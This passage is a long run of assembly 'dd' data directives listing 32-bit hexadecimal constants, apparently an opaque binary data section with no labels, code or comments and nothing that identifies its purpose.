0C2A20083h, 0FE481510h, 0D719Fh dd 62A72ABBh, 0D1C3D691h, 0BF82E900h, 29A987ECh, 0F1E06076h dd 0CA3F86Ch, 16600507h, 5B3133D2h, 0B6E46D84h, 0B01A0001h dd 0F69FD3E7h, 0A000697Dh, 0F0B8CC31h, 421CA1h, 9067FE85h dd 0BAF2AD9h, 0DDB5B300h, 0FB284C3Eh, 0FF740072h, 0EF8DBCE8h dd 8F00AF77h, 0E4FEBF64h, 0F440579Bh, 0B94700F3h, 2C44BA5Eh dd 0D716A046h, 0DF01AC1Ch, 27755BD5h, 4BEAF8h, 8AF53FAEh dd 20A50207h, 8F982401h, 488813A7h, 0F4C5D880h, 2DC41850h dd 4A493800h, 1FD3EEDBh, 0F4D0FF5h, 7F8022B9h, 2A4E0748h dd 24F40175h, 0E9985100h, 66AD6A74h, 41BB00DCh, 2BB33792h dd 0D0C0D24Dh, 0A6DB43D0h, 19A707B4h, 0C0FD11C9h, 5EDAF774h dd 0D9ADE400h, 0E868A64Eh, 0B9D008Ch, 0A1B096FDh, 0E30C4220h dd 0F844E77Dh, 82724DBh, 570300CCh, 0E1AEBD7Ch, 0FA6D5600h dd 1AD3DA3Eh, 780B0087h, 0B8BC909Bh, 6A009DBFh, 93613124h dd 4B7F09h, 0DB5EDFC2h, 0CE424ECAh, 43026BF2h, 56FA2268h dd 987C430Bh, 0DB16C4h, 80937CBBh, 9236BA77h, 1706900h dd 0A3DD2189h, 0F3A700E1h, 57CB7B48h, 0E5E8FB96h, 92AAB400h dd 0C3889F16h, 0AD110C99h, 0C5B8DD18h, 0DCD60A0Bh, 0C0FC25h dd 2E6C5FF6h, 0E30251C1h, 4BE7C0D9h, 0B30357EEh, 6BD80E62h dd 1960FCB6h, 9C70F298h, 0A90F0398h, 0CB1107A1h, 50BC2DD8h dd 0A5271000h, 5FF5EBF3h, 692B00EAh, 0B2281AE9h, 0A00D60Dh dd 6B98CC1Eh, 4FDDF6Eh, 0E5C923BCh, 918CC092h, 0F54D32D5h dd 0B088287Ch, 6CA92600h, 0A1038906h, 0A0AE2873h, 0D5D70FA8h dd 0BB40690Dh, 790BDE92h, 5EE54518h, 4A86DF2h, 484B2099h dd 1B180E0h, 5200F969h, 0EA7EFA5Ah, 0AB09BEh, 4A293F2Bh dd 936CA528h, 334EB500h, 91DC3876h, 12B85Dh, 329E9D50h dd 0B86BE0E3h, 85040300h, 13974041h, 0FB7E0567h, 90BE30AEh dd 68BB0A9Dh, 0C7025900h, 549E8FB0h, 58EB000Dh, 7BDFA60h dd 1F006106h, 64C0F187h, 7AB7E74h, 0C2AAFC1Ah, 0C7B580F5h dd 5C02AD1Eh, 121657CFh, 0E8E213h, 0A966728Ch, 0C5D8005Ah dd 546994FFh, 73750291h, 0C15DA41Fh, 598EF500h, 1ED57B7Ch dd 0C0AA3186h, 6C5AC0F6h, 75009C50h, 0BD388FD2h, 4CA9BE63h dd 2208E007h, 0E78023E5h, 863BC43Dh, 1DEB00CEh, 0ACF8D476h dd 0D73EE872h, 0E6E1000Dh, 42598A5Dh, 8FB805h, 3A8941D1h dd 0A8E625Fh, 0CB447800h, 0E0ECC6D2h, 5BAC00CAh, 0BDF0C2EFh dd 7E007CC7h, 0DC6C51FEh, 79C59927h, 967977h, 45249701h dd 98E55DEh, 0CF73E405h, 8C807C17h, 3FD45181h, 0DF3EDB41h dd 880FE307h, 0C2180014h, 3E046C69h, 6F6071D5h, 16E25080h dd 36AF075Ah, 94856B20h, 3A309233h, 0D3000864h, 11D97A4Ch dd 1279BDEAh, 4813E9h, 0A06920Ch, 0BE0228DCh, 9248F35h dd 9A35E023h, 9A2BE299h, 15A700A4h, 0CBDEEFD3h, 749A45A9h dd 446C1E00h, 94A5968Fh, 6DB822h, 5840CF1Bh, 603DD752h dd 43B9DE07h, 97902D90h, 0CDEA91h, 0B6541F0Dh, 0D7DDC037h dd 0C500EB79h, 26BD3D34h, 5889BC9Ch, 2307D0C6h, 0E3B87180h dd 0D907A713h, 2E8E9DDFh, 1A0C4C80h, 0FFFD1FC1h, 7EA0C3F2h dd 65F04EE6h, 0B400963Ch, 0A39E79C0h, 1C38972Bh, 381A8595h dd 83860F00h, 1F188E9Fh, 9B121B16h, 0EE3FE440h, 0B721ABh dd 2DA92266h, 0A037B8F8h, 0B4358501h, 76B2F623h, 212EF070h dd 26901628h, 300EEDC8h, 92A182FDh, 0C378E3FBh, 5D1011E5h dd 0D53CC3h, 0E44124DCh, 99B147h, 0C50B194Dh, 0D57F3E93h dd 5F84A600h, 74CD4A1h, 177550h, 80B93D2Ah, 0D45F593h dd 6C0BD5E8h, 0A9D121DBh, 807180ACh, 0A95299h, 0B9152AEDh dd 6CF5A336h, 0E073883Ch, 0C92EAFA8h, 0A80509EDh, 0A0A00DF9h dd 0CB16220h, 0C20B361Dh, 1280D2DDh, 6BEC7F82h, 278B0013h dd 0AD1BA910h, 360EF82Ah, 53183F4Fh, 0AA135600h, 0F725EAh dd 34D4C33Ah, 9CE9D706h, 20934D00h, 33D8F1C5h, 0F9833F97h dd 0FB1E5A5Ch, 0E42880A2h, 0E696DD0Bh, 45ED951Ch, 4755E70Fh dd 0A0D030F5h, 98A693F6h, 8B740048h, 0F115F351h, 0CC008AC9h dd 0F0B302ACh, 0DC186Fh, 0D49FDFECh, 0AA594DB1h, 0DE00E876h dd 785E22C1h, 6533BAh, 4F28CD0Dh, 0A931A244h, 5C05E4A8h dd 0FA3DE300h, 51B3DC34h, 5AB000BFh, 0EDEC9963h, 8C00BC1Eh dd 0EF769F3Ah, 0C30627Bh, 0A2E16A28h, 33243240h, 24BC0427h dd 46147FB7h, 0B61109B4h, 70306B54h, 76B77EF8h, 388586Fh dd 44382600h, 4AC2F548h, 7EB6A736h, 0E986EC31h, 25813C2Ch dd 0F0AE2D8Ah, 19DDB082h, 31BAAA8Ch, 262B0345h, 0D67F14A8h dd 0B40D1DAh, 0FD148107h, 4430F8h, 77B760B6h, 0E5481Bh dd 0AA0D3640h, 573349DEh, 28DA49h, 929ABD1Dh, 9D3506Eh dd 0EECF1051h, 0FBBA0F00h, 1C00B04Fh, 448F33FFh, 501621h dd 66B60E98h, 736F88EAh, 24AC3C2Ch, 9979B418h, 0A6BE07F5h dd 0C0B268B8h, 896DDCC8h, 3EEDA003h, 9088670Dh, 0A3628C6h dd 1B3BDF66h, 13C8B080h, 5030A192h, 3A02A1CDh, 2A8C010Ch dd 0A8DC4B47h, 8AA0E0E6h, 0A420CD03h, 9036062Eh, 79B37F1Ch dd 6A970EC0h, 0CAE0FFE2h, 438F9285h, 4CED4F00h, 3CEF9E21h dd 57C10059h, 0A068917Eh, 20374599h, 216C08A3h, 7E5D0361h dd 7C29674h, 323F26F8h, 66F9F800h, 0E0928AB0h, 15CE003Ah dd 0AB4C3CEAh, 5E30B82Ch, 4A0518A0h, 0EAFF8ECh, 44D558A1h dd 56795898h, 0CE462E00h, 0C638C15Eh, 5A08CC66h, 72988421h dd 0D5E2D800h, 50DDB9ACh, 1D410082h, 76BC7B69h, 0F503EDA6h dd 3462E233h, 0B0106C29h, 9698AD40h, 0F1319132h, 7E55304Ah dd 0B0689B11h, 6B809C88h, 0C8A7E53h, 1BC100FFh, 67E95C55h dd 63E060C7h, 0C13802E9h, 0F0B937B7h, 0FA595781h, 8077C012h dd 0CF19B188h, 7FB44E33h, 50583C15h, 4FBA93h, 0CB366741h dd 5A004555h, 77D5E64h, 7FC329D1h, 0A0900FBh, 872FBDE0h dd 9501A4E9h, 43D69EFFh, 2AC87299h, 36EE00D8h, 49C6A5F6h dd 1317B018h, 0B00C7C0h, 0C57E5009h, 0BC480006h, 0F7D51610h dd 94075472h, 74B48712h, 82AE9E90h, 7AD0005Dh, 76F70595h dd 0D4007D8Eh, 3F396011h, 59020Fh, 0A3D7F84Fh, 46F5894Ch dd 0B876D200h, 6760DF2Bh dd 293B64DAh, 0BD192463h, 1C08C429h, 84973744h, 42FEE022h dd 30D01190h, 0E0008B22h, 14DE845Dh, 0CEB7F6h, 60FD034Ah dd 0D72F507Dh, 0C1E35100h, 382332CCh, 0E6DE00B5h, 0B66E3984h dd 3B731E5Bh, 778C9E00h, 0E8D587EFh, 0CADA00A1h, 8F962E12h dd 0D7284A7Ah, 90008A26h, 485C204Dh, 0EE08283Dh, 0C82A00EBh dd 0E6E26E0Ch, 0FB5881CEh, 10C40018h, 2C8CD360h, 0EBD8BD1Fh dd 84178503h, 80FC0CF3h, 3970B3h, 44EC869h, 0BE0E43A9h dd 2B8838C0h, 981D76F6h, 773900DCh, 7130994Ah, 94009DC1h dd 0A52C4828h, 9958064h, 1803F374h, 7BCB0400h, 0F404C9D8h dd 4C5C23D6h, 2BEDA80h, 8DF60929h, 300B21Ch, 24376E9Eh dd 0F2136C04h, 1D801280h, 75179C8h, 6E96FEF0h, 3A53505Ah dd 0AB002A52h, 0D811450Dh, 7CF11970h, 0D1EA0Bh, 0A2B5750Fh dd 0C167D4B9h, 0F4BFE800h, 4C2B2627h, 53EA007Dh, 0D51BF224h dd 3600BC05h, 0ABE90E54h, 25E4F90h, 49886541h, 2C40702Eh dd 0E30F82ACh, 0EFF7AD67h, 280093DBh, 0F9978D99h, 344703F8h dd 931B1E98h, 0C39A3AB0h, 0B46BFCE7h, 0DC236900h, 0F4598889h dd 90ECC7h, 1F5CB553h, 5FAC70EAh, 2A6B6F00h, 10DA4867h dd 0ADB318D3h, 3D3A292Fh, 0C2770500h, 8EDAF744h, 0A018C097h dd 141D921Ch, 7875A900h, 3172BBC2h, 494F008Dh, 0E90D1AC0h dd 0F004E64h, 3E695707h, 5C93DC28h, 68001587h, 4AEFDD22h dd 9E1F2ACFh, 0A9C06F58h, 98280312h, 40C70023h, 0A495492Fh dd 44285C83h, 0B6008805h, 1DB2AB2h, 4564E3h, 92C36C63h dd 87D78D89h, 660B0800h, 0E0C48F37h, 4ACA004Fh, 993A3FD6h dd 9707ED81h, 0C54EEC64h, 0E3C22C70h, 52740006h, 210725Ah dd 31018FA3h, 45A843ACh, 6BFC518Eh, 0CD840914h, 1800613Ah dd 0BFEB57A9h, 6DAB3C00h, 0B999853Eh, 0E56E1E88h, 0AAD3874Dh dd 0CE69F0EBh, 0FB008E48h, 0C3DA8394h, 3B24711Ah, 0AC806031h dd 69BF6BF0h, 55751DCBh, 236D6E01h, 54A3212Ah, 0B1BE108Fh dd 18A7A8E0h, 0BEA3440h, 92AD7100h, 492CFA87h, 915907D1h dd 0E0C2F135h, 3394AC9Bh, 0B096E0EFh, 5FE33700h, 6B8CC318h dd 0E57A007Eh, 3582914Bh, 0D449BE43h, 0CE1B0060h, 0D3563AC5h dd 0FF930078h, 0CC6677F2h, 0B100B64Ah, 0B54C19FAh, 0CE4D37h dd 0E720CA2Eh, 0A434589h, 5BA0A800h, 7B606173h, 79620064h dd 8D25BE78h, 4A0B9D77h, 8094F472h, 2249C3E9h, 4704007Ah dd 17AD6EE1h, 6D051DF2h, 0ED91D014h, 6C2FB980h, 49F40E67h dd 9320DD0Ch, 0FF0A7175h, 0D500D17Fh, 60AD5C4Ch, 198FCCh dd 72D9C2BEh, 5663B29h, 6200F0B0h, 4AB5D635h, 6954B4h dd 7488BE30h, 706C0620h, 0C9463Fh, 1B84F218h, 502607DBh dd 528879h, 0F653A312h, 49F9D99Ah, 8B6B2D00h, 5EA6174Eh dd 8C9A03h, 2496CC1Dh, 768A83E3h, 0BA731301h, 6894188Bh dd 1C80BC20h, 0C0225E89h, 921A9BADh, 3A30E674h, 0A52F598Eh dd 5DF7008Dh, 0AA35B323h, 0F3141D3Dh, 0A2AC334Fh, 64C08E02h dd 0B8D0C520h, 3E5532h, 0C64B0131h, 0D9FEFB58h, 335929C1h dd 0C820B0CCh, 2C2501E0h, 50A8C4E2h, 767BD4F7h, 0E50E73B0h dd 0E099D418h, 8E1C5F70h, 0C8F41DEFh, 7935001Dh, 0F275BC72h dd 0E2E2C098h, 803B5624h, 0BF3AD500h, 3E35E542h, 90004127h dd 94A1EC47h, 0FA24F92Fh, 0C6032CD7h, 90A206F0h, 32B8CC9h dd 0A8B9BA38h, 9F91427Dh, 0B460DA3Dh, 0D4ADCB6h, 0B4203EB1h dd 1FC10029h, 247B5D4h, 8300E12Dh, 808EA245h, 0C2CAE335h dd 14EC461h, 0EC615A61h, 1A00DE08h, 6D92C0CEh, 140A95Ch dd 5DF5E03Bh, 0B9E8C93Fh, 699E01C8h, 1891A481h, 67C0D431h dd 12580034h, 0F98D8424h, 40A99D1h, 8255B7A1h, 1215BF0Eh dd 56FBC800h, 2F74212h, 0A5B8ED27h, 5BE03B14h, 661C15BEh dd 0ACF05A1h, 80926038h, 3BC9710h, 0E4C14AE6h, 4DC05A98h dd 8503707Ch, 9ADF8376h, 43B2A0B0h, 9D300051h, 0A9C4CF5Ch dd 0B600E17Fh, 475E336Eh, 48BE11DDh, 34005075h, 1DB37E06h dd 2EE48A3Eh, 0FEEF1316h, 20144032h, 2FDB78E3h, 0CFA81F00h dd 37F9FC5Ah, 99D0019Bh, 241E7A60h, 88D43027h, 61EE0137h dd 339E0A20h, 9B71289h, 0CE004341h, 60103866h, 451D75A3h dd 78D200A0h, 1E89CA0Ch, 9316E500h, 4D8BC7BCh, 0B654007Ah dd 0A0CF9647h, 0E600843Bh, 33ED18CAh, 0FEBD245h, 1191FB1Ch dd 0F3DD8260h, 27003474h, 0A204BF6Dh, 12FA95D0h, 45F990h dd 0BD431E0Dh, 0F600976Ch, 3B13ED2Ch, 4C94226Ah, 101DA2D2h dd 0D6EA8005h, 9B2520D4h, 4218DB70h, 0C6D84B19h, 4FD70068h dd 157D56EAh, 1E00C03Dh, 0AA65C2A4h, 50974Ah, 98191B7Bh dd 57A8D063h, 1F62D600h, 24BFC647h, 0D7F51238h, 4AD40F59h dd 1F2654Eh, 0CBE8EEECh, 1690C01Bh, 0D376300h, 0BBD0B2B8h dd 0FDDF0585h, 0FBF23Eh, 0EA777CA4h, 4500170Dh, 93FA1D6Ah dd 8C0B51h, 69D7B0Fh, 14CE83B1h, 58E37907h, 78201318h dd 369F27Eh, 0D568C2E5h, 7FC0974Eh, 0D8013398h, 9C37BA99h dd 830D06Fh, 0BB361276h, 0C3640206h, 584011EAh, 730722F9h dd 0D3CED9E8h, 3CDF9C90h, 0B55C0FBCh, 5AA3E0ECh, 2D88C46Eh dd 7414AA2Fh, 7B4284Fh, 0DB3B8EB5h, 481820FBh, 521205h dd 0B7B4FEAAh, 0A52EECD1h, 0C4348h, 0BBA38B94h, 1A8C37Eh dd 0F7FEA1FCh, 701B1755h, 0BF00C884h, 0C5A02A3Bh, 90B1EAA6h dd 5F670048h, 0B3360439h, 6EFC5915h, 508F322Ch, 10F07D89h dd 811F7B70h, 0AD2EE858h, 8BC6CCEFh, 648D060h, 31BDFFh dd 77DE393Dh, 0BF723F2Ah, 11A44100h, 0EE8CA946h, 0ECA20493h dd 0C00324EFh, 44E79498h, 6803100h, 0CC89260Ah, 6EEF0658h dd 0F848796Bh, 374E6601h, 0DDB60A2Fh, 5262B30h, 5B6287FFh dd 0EBC0FB8Ah, 1639FBDBh, 0BC3042F8h, 3F5C75AFh, 0C49F03FEh dd 0F8375598h, 0F42A9DB4h, 20D44885h, 0EAC90E04h, 0B58CD0A9h dd 99C00286h, 0D7307F9Dh, 6FC10644h, 0C049E4BDh, 1ED4B158h dd 0C257B2B0h, 0DF522C00h, 98D7BC5Ch, 34050F54h, 15453790h dd 1DF207DBh, 71ADE0E6h, 93006788h, 0ABAC05FAh, 2E096Ah dd 0FBA63FD2h, 0C37F7932h, 0F24A8E04h, 0C8C0F4D9h, 716A7A2h dd 0B59C9A46h, 0C08E05B2h, 693F7009h, 58286C00h, 59B32E14h dd 75FD0018h, 48687C1Fh, 99005691h, 5CA5EE41h, 2EE57961h dd 75F1602h, 0C050C9F1h, 6839C6B7h, 565D200h, 74F2AEA9h dd 34B829h, 4135F198h, 71C179BBh, 0A4314739h, 0DF038040h dd 8801DB75h, 27E2BEh, 4CA1AB34h, 1AD7FF6Ch, 93AC6200h dd 22994B7Ch, 443A0074h, 0CDF02EA8h, 0C60279E7h, 5767E02Ah dd 0A028C80Eh, 779F7369h, 954A0966h, 3C18A27Ch, 188064BBh dd 0ED6F0032h, 0AED32D36h, 5100E347h, 6DD46CCEh, 0F79D7Fh dd 0CFBA34DCh, 0FC791D56h, 0C4001477h, 0BD46D162h, 0BFC0E0h dd 0AF222EB0h, 8BB3095Ah, 7182A000h, 0CB234BDAh, 9A0B00E6h dd 0EE5E0E9Bh, 89E05B35h, 82D34201h, 0C9609124h, 0E12530h dd 0EE0349A0h, 35CE95F8h, 0BE447B00h, 4CBC8B73h, 0B291FFEh dd 0D84580D1h, 9CB5A353h, 0CD64AE00h, 0D9308071h, 5B5500E5h dd 0F7E9F25Dh, 1100A205h, 9DECF5E1h, 24CF8Dh, 0AD675728h dd 8338BC2Dh, 10BB1E06h, 7598963h, 31F25B9Bh, 0F5272F99h dd 9AC2106Ch, 9F3C7B97h, 0DBB18571h, 0FDC3D117h, 1F620057h dd 0F87C7D5Ah, 6200F292h dd 0A0B3C820h, 0AC3589h, 13B02B9Dh, 15BB6158h, 6525300Eh dd 0A2C2E14Dh, 6E8CA5Dh, 0E0ED6397h, 5CF0A777h, 8C00A37Bh dd 66C9C58Fh, 1466BA5h, 6C49D822h, 615588FDh, 59E1D8ECh dd 0D9D78400h, 0A871B88Ch, 0E5EABEh, 8ED68AFAh, 0E46F128Bh dd 0CE923603h, 0E8F63148h, 13A62051h, 0BBA10Ah, 27A4E41Fh dd 0A70025CEh, 2DD9FD19h, 0B832B5h, 81F316DBh, 73F09BD6h dd 0D54438h, 0E9070582h, 26910Fh, 7D5168FDh, 86FE50D2h dd 7CFC1E54h, 88CB407h, 0E1200497h, 50E98384h, 2714F763h dd 0C00C7C6h, 7CAAD338h, 0E2EF4F09h, 5FC0606Ch, 390898F8h dd 1400991Dh, 0CCDD5AA6h, 8600282Bh, 4E56B7D7h, 3A4DBAC0h dd 8400A13Eh, 0AE017149h, 0DF005AFFh, 9F4BCEDAh, 0AF5865h dd 3EF496F1h, 0AE32EE1Eh, 4D00457Bh, 80B2F5E7h, 3F5781F2h dd 49819751h, 0FAF0E383h, 1E4FC17h, 67568C03h, 9341AFB6h dd 259800FCh, 0E6294540h, 0CE60C133h, 3D885A60h, 105F587Fh dd 8387A005h, 0D10180A4h, 99009341h, 0C1686AF5h, 7533561Bh dd 25BA3D0Eh, 97A81200h, 0F2F77A57h, 628C661Dh, 5CDA7D80h dd 7C53128h, 4952DE18h, 696310DDh, 0B700E484h, 0B134215Bh dd 4AE1Eh, 0EC06E2E5h, 44BA9177h, 478D9701h, 0DD1D3050h dd 0CD71ECh, 8A39E17Ch, 3CA0FAFDh, 0AA172901h, 528E336Fh dd 1AFEF8h, 786AFF28h, 0DEBAFCBh, 110B13Fh, 313A5CF2h dd 0A0645AF3h, 94148480h, 8CF9FAh, 0EDA6DA74h, 59E8F87Ah dd 14117C8Ah, 0EC70EF1h, 1C8DA0FAh, 391769h, 3698119Ah dd 0CF7BE378h, 0F20F7D02h, 89B87573h, 0ED4C82A4h, 34563BEh dd 1C1A2B10h, 9A9261C5h, 5003058h, 5407A404h, 32D53609h dd 0C0781C8Fh, 0A92C78E4h, 631F1457h, 0B0DD4040h, 0B6354Fh dd 93A261C3h, 0B995D903h, 1B24C600h, 78FB964Eh, 3E3B009Bh dd 27CF56ECh, 0C0048937h, 4E12CA94h, 20F40884h, 0B7E10051h dd 4DE827A5h, 0A900F83Fh, 40B0C6E0h, 3F4ECBD4h, 31E4C7Dh dd 20920234h, 805891CCh, 0B036171Dh, 0F7F4C00h, 47A6B7h dd 0BCFFBA1Fh, 0E8048B3Ah, 9BA2B400h, 0CFEA9007h, 5A53009Dh dd 199D781h, 651C4B58h, 88C420C3h, 0AC91EFD4h, 0E039D153h dd 904EC801h, 109186E5h, 17164A73h, 45DED7h, 0F10B8D38h dd 0DC9E7FA8h, 8FA25900h, 126F19C8h, 0C17163DCh, 83E0447Ch dd 0A7ED0361h, 97F480DEh, 62000BBh, 8DC16A4Dh, 30026EE2h dd 0CF79A243h, 0E4574BEh, 4C0D906h, 0F6E016ADh, 74666A1Fh dd 45777885h, 0A3EDA440h, 3D680D9Fh, 55803F22h, 6B563972h dd 7B00374Dh, 10DA4EEFh, 3EFD1753h, 780A66Dh, 42892CBh dd 4100ED52h, 0D95F72AEh, 9A67F6h, 81CF0173h, 17C0F722h dd 56C18327h, 957E00BCh, 5E8F51D4h, 0FB5F8A00h, 1F9BFE29h dd 1AB23E0Ah, 56B469Ch, 1E3513A4h, 0A34903D0h, 9C9088F5h dd 3703447Eh, 0DAC591D4h, 0CB98020h, 41A70051h, 43464A21h dd 6000AC6Eh, 0B79091DEh, 0F4F185h, 9C954930h, 0D64CD48Bh dd 8ABEA8A0h, 0E9732217h, 6B3D7400h, 6ADA24h, 0DC2FB5B1h dd 8FBE3310h, 989CB700h, 49D2F2A4h, 0A12200D4h, 8C9E15B9h dd 0CD7BF6E6h, 0DBCA7701h, 5A5263DEh, 6A78C4h, 5CAF3543h dd 0BB315590h, 2A5E13Fh, 6B18F3B6h, 26BC5AE7h, 805C2926h dd 80D2F6ECh, 0BD005F12h, 0E937DC3Ch, 0E8DA96FFh, 0C0F370A7h dd 7719B11h, 5BB06706h, 0E7F8CD4Bh, 5E1CEA03h, 0E000DFB9h dd 0DC85399Fh, 7601830Dh, 38901F4h, 694BE492h, 1BCC3C22h dd 0C8B8042Eh, 2437E8h, 104B0B31h, 0AAAF677Dh, 0E1276A03h dd 0B0929BDFh, 4C9C15B5h, 610092C3h, 9D4AF764h, 9100D046h dd 5086DFE6h, 0A9BC79h, 0F57A305h, 17C48EC3h, 0BF6B0D00h dd 0F34F8C6Eh, 0FA913C90h, 0AA2B0A84h, 1BB8020h, 2F0324D2h dd 0C01F71ECh, 8FCCB862h, 78A4004Dh, 5805F0D1h, 6127AEF8h dd 25D800DDh, 23EB5DEh, 0D5D02BDFh, 80687074h, 0A900FBC4h dd 9B1539A4h, 0A5EF6Ah, 0F5010280h, 745F38Ch, 0BF689500h dd 5D115CFh, 94677B9Ah, 0C7BC00C8h, 932663FFh, 0A1628302h dd 609A0C5Dh, 0FA8A44h, 0D44785E3h, 89E76528h, 8C4BC426h dd 7B524683h, 941FD8C2h, 0DAEC00D1h, 0B01BFF76h, 8B7969A6h dd 0A724E607h, 0D3905B68h, 0E27406Fh, 0B3226E35h, 0F5C9B800h dd 12509B74h, 6777992h, 50D6F800h, 3A33754Ah, 55F00058h dd 0BA9BB3BCh, 0DA00BF35h, 0F31A7D17h, 8CA78Eh, 4E249E77h dd 2D3E11F4h, 0DB20CC00h, 0B1613429h, 8967000Ch, 0DC6D6B8h dd 96007ADDh, 15E25C84h, 0EF42A7E1h, 0BC284430h, 0E057003Ch dd 0DB78FEFFh, 0A7F6C700h, 3CC9322Eh, 0F8B2004Ch, 0D1568590h dd 9479CDFCh, 0BA6E0F00h, 0EE5D58Fh, 93B909DCh, 64AFF19Fh dd 0FE0D51A0h, 0F937D843h, 3BB2E6FFh, 0D7706098h, 90CB0005h dd 7A762DBAh, 7900D24Dh, 0D856C8B4h, 9E14E8Ch, 0A9CC0946h dd 30733380h, 0F80019D7h, 65D65FB9h, 2C2C211Ah, 4098E6h dd 252F0867h, 0B8BE38F6h, 30728703h, 57A8A0CBh, 99E3615Bh dd 24D0505Fh, 3E22D20h, 0D2F0C0Fh, 6F026FCh, 0F005F018h dd 2D2A1CEEh, 5D579C7Ah, 807D9E91h, 8768EF8Dh, 0D603FEF5h dd 0CBF1B447h, 0D438031Dh, 51140396h, 0F974FCC0h, 0E888CF1Ch dd 7FB502C1h, 18BFDD87h, 789C9003h, 5880EC57h, 53AC43Bh dd 8D3D00FFh, 1D9E71F9h, 7308BA74h, 811A01F7h, 0D9C5305Ah dd 5FC7D064h, 0CF648A50h, 0A9B6D100h, 0D31F56D5h, 0CA7D012Eh dd 0CD3D5CE8h, 0D85AFC4Ah, 1EDD5048h, 95000F83h, 20FB1A7Eh dd 9D6B02ABh, 1630B718h, 60723261h, 0B1F0F2AFh, 0D70E93FEh dd 56E49Eh, 11D82A47h, 0B8A900B0h, 9120B9D2h, 0AD034108h dd 1FC7D150h, 1DC9C090h, 2CA60354h, 0D33DE7EDh, 64CFA800h dd 81347CA1h, 603B001Bh, 0CE044977h, 213EA253h, 31150039h dd 797F5ED0h, 0CD1B02E9h, 1CC83BC6h, 753FA5E0h, 2907403h dd 0AE767CDAh, 0E98B0734h, 30805CE3h, 0F495D367h, 462DF10Eh dd 0C99F60D7h, 42AE2Bh, 0EE7CAF4Ch, 4703199Bh, 81730400h dd 86DB877Ah, 0ED8D00EAh, 69079D59h, 0EC766E7Eh, 26796F0Fh dd 0EA1227BBh, 87DF20A0h, 0E47F0086h, 0B4FF022Bh, 28006B58h dd 0E96D0111h, 0CF6EE5h, 2FAE6745h, 97B55385h, 7A16D412h dd 0F8B35101h, 0CB43D004h, 366EA0E5h, 62E71486h, 5E28F876h dd 7D8A0064h, 995ABA50h, 93EA9758h, 256DA303h, 0AA890887h dd 0B9F8E070h, 392C0101h, 0EEDECE13h, 7F58384Eh, 30437600h dd 155DA2AEh, 1625E66h, 0C07E7F00h, 0CA09E88Ah, 0F53AEA7Dh dd 8973070h, 1F77CF67h, 42C01061h, 266B51ACh, 900CF4D0h dd 49FA1E9Dh, 2A7400E7h, 0DCBCC60Fh, 7B3B7EA5h, 0D72C8452h dd 0A0D0DF27h, 18C0B25Bh, 3940464Ch, 0DB25EED9h, 425800F9h dd 0EB5130h, 67FA1A48h, 40415FF6h, 8CDDFE3Ah, 3987C4F7h dd 0E91C005Dh, 68F0BA6Dh, 3D004E6Ah, 0ECB81BE6h, 171FA2h dd 3BD6094Ah, 3F2DC63Ah, 0FB48AA74h, 94780035h, 0BEE61D1Fh dd 137B00Eh, 654C9D87h, 2FC33641h, 50388300h, 1FBFA217h dd 0C7AF1FA9h, 0BA20A0B3h, 383900E4h, 0E42E121Ch, 130E5F01h dd 5601EEDFh, 4015B851h, 13D0870h, 0C02AB4BBh, 94CA1EF7h dd 0DC79E9h, 159F3EEDh, 1FEF8110h, 47490195h, 0C9CB471Bh dd 5B0901F6h, 0DC4A01Fh, 896104h, 95C76867h, 3344BC77h dd 0E160140Fh, 4BD240F2h dd 265B51D5h, 2654798Fh, 169831EDh, 0A06717F6h, 9E4338F0h dd 99713C2h, 7FAC43C8h, 0D8006C59h, 943E028Ch, 0A8D42BDh dd 6D77242Ah, 67A6BCh, 3F2517FAh, 2300BEC1h, 0D759728Ah dd 0EAF9A8F0h, 0C32D00D8h, 9B399446h, 14001905h, 71E4F52Ah dd 7C74F4E5h, 9234F0B6h, 3DFB024h, 548ACADCh, 697ABE5Dh dd 0E589C300h, 669F6123h, 0AC1F4D1Bh, 873AC40Bh, 59188020h dd 0A200E36Eh, 92F9EAEDh, 1AC9F2h, 374AC53Eh, 0D72F7467h dd 0B2003170h, 0F5DD5FB1h, 7E6DEEEh, 0B5DA3D12h, 0F11B5083h dd 5516E980h, 0E04114CCh, 58A0DD56h, 3ED10EECh, 0FD868099h dd 100D94DEh, 0DD55A305h, 91C7EE51h, 1A393A60h, 0B64F0086h dd 67D3036Eh, 7C1E80ABh, 0EC00D631h, 0D55EFEADh, 102B0271h dd 0DE1C91A1h, 0E70388D1h, 721EFC40h, 8128B4E8h, 4B81EB26h dd 0DEDDF036h, 0C23F997Eh, 63AB841Ah, 80BB56EAh, 2EFC393Fh dd 58968F00h, 4F6A119Bh, 95B0312h, 0EE6399FBh, 4B7AB3A0h dd 9D7FD800h, 0F3E1BA06h, 1B4307F6h, 2062C4B2h, 0D8128E25h dd 56A3EF00h, 5E42746Eh, 0D2870F5Bh, 7060C74Dh, 0D6039175h dd 83B47F0Fh, 2326CB35h, 821B0450h, 8C3260EBh, 9D810033h dd 7B73CCF8h, 2B006BD6h, 0A81D5C20h, 3C2745A0h, 253D23D5h dd 0B9224380h, 549A3DB5h, 0FABDA512h, 3F3C0400h, 0C09020E3h dd 9FC89211h, 0A63A6457h, 0BE08829Ah, 404E280Bh, 7C29B3ACh dd 0CF5A0088h, 4F4745EBh, 9F077770h, 3C378503h, 5BC08230h dd 0EAD10598h, 0E0FACF58h, 754D2504h, 93E83CBCh, 8406FBFh dd 5B85020Ah, 0E362254Ch, 58F1C880h, 0CC0028DDh, 0B98D3741h dd 226F31h, 0AF6D4DC0h, 1280D361h, 48368700h, 0D4865AD5h dd 73771E9Ah, 6825C0FBh, 19966379h, 0D0F7EEFEh, 910027D9h dd 9CC13DB8h, 38401E92h, 600CA48h, 19543063h, 283A94F7h dd 271C7567h, 0D10061BCh, 95E07396h, 50D9002Dh, 0BB1CA0Fh dd 0D6035647h, 2093B399h, 0F248C8E2h, 485890FDh, 0DD0FC497h dd 230110A1h, 50C99AB3h, 22E521D4h, 3069C00h, 4E955B01h dd 55BA003Eh, 0F82B04B7h, 0BD035F8Ah, 0EB8518D5h, 7A56E268h dd 5D7B54h, 2ACC935Ah, 73D25801h, 0EC6A3D2Ch, 0D4DD8A03h dd 7AE8E0D1h, 601E3DA6h, 0C2A72F80h, 2C53EFADh, 0F76A9E00h dd 0ACA9987Dh, 8FA40h, 5C887BDEh, 81DF3011h, 9AD70C00h dd 0A6862187h, 756717Eh, 75E8DA09h, 0FC127207h, 850F1240h dd 8DD71F00h, 6BC60B06h, 2C940EA1h, 414ED9BCh, 0EBBD007Ch dd 800840ABh, 802FF63Fh, 890B3CC6h, 787ECF62h, 424097E9h dd 72EAB0DBh, 0DCF07FECh, 8CEF9D00h, 0A2A0084Bh, 0B56700E5h dd 